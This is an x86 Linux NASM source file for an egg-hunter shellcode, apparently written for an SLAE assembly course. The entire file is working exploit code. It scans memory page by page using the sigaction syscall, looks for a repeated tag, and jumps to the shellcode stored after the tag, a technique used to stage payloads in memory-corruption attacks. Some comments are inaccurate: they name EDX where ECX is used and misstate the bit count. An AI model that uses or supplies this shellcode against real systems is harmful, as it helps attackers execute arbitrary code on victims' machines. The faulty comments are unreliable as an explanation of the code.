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  1. ; Filename: egg_hunter_shellcode.nasm
  2. ; Author: Kunal Pachauri
  3. ; SLAE-9237
  4.  
  5. global _start ; Making the Entry point accessible
  6.  
  7. section .text
  8. _start: ; Entry Point
  9.  
  10.     xor ecx, ecx    ; Zeroing out EDX, will use the value in register as the address  to be validated
  11.  
  12. page_align:
  13.  
  14.     or cx, 0xfff    ; Result in setting lower 16 bytes of EDX i.e 4095
  15.  
  16. next_address:
  17.  
  18.     inc ecx     ; Increment EDX (4095+1 i.e Increasing by Page size)
  19.     push 0x43   ; SYSCALL Number for sigaction i.e 67
  20.     pop eax     ; Loading syscall in EAX
  21.     int 0x80    ; Performing Interrupt
  22.  
  23. check_efault:
  24.  
  25.     cmp al, 0xf2    ; 0xf2 represents return value as EFAULT, checking against it
  26.     jz page_align   ; If we get EFAULT, then we need to increase the page number i.e increasing address by 4096
  27.             ; Else, we need to continue and check for the presence of EGG on that memory address
  28. check_egg:
  29.    
  30.     mov eax, 0x50905090 ; Loading our Egg Tag to compare -> nop,push eax combination
  31.     mov edi, ecx        ; Since scasd compares the string in EAX and EDI, moving the validated address in EDI
  32.     scasd           ; Compares the string, If equal then sets Zero Flag
  33.     jnz next_address    ; If Egg is not found, increement the address and repeat the above steps
  34.     scasd           ; If Egg is matched, check next four bytes are also Egg to make sure it is not finding the egg tag itself
  35.     jnz next_address    ; If Egg is not found, it was the tag itself, increment address and repeat
  36.     jmp edi         ; Egg is found, redirect execution to shellcode
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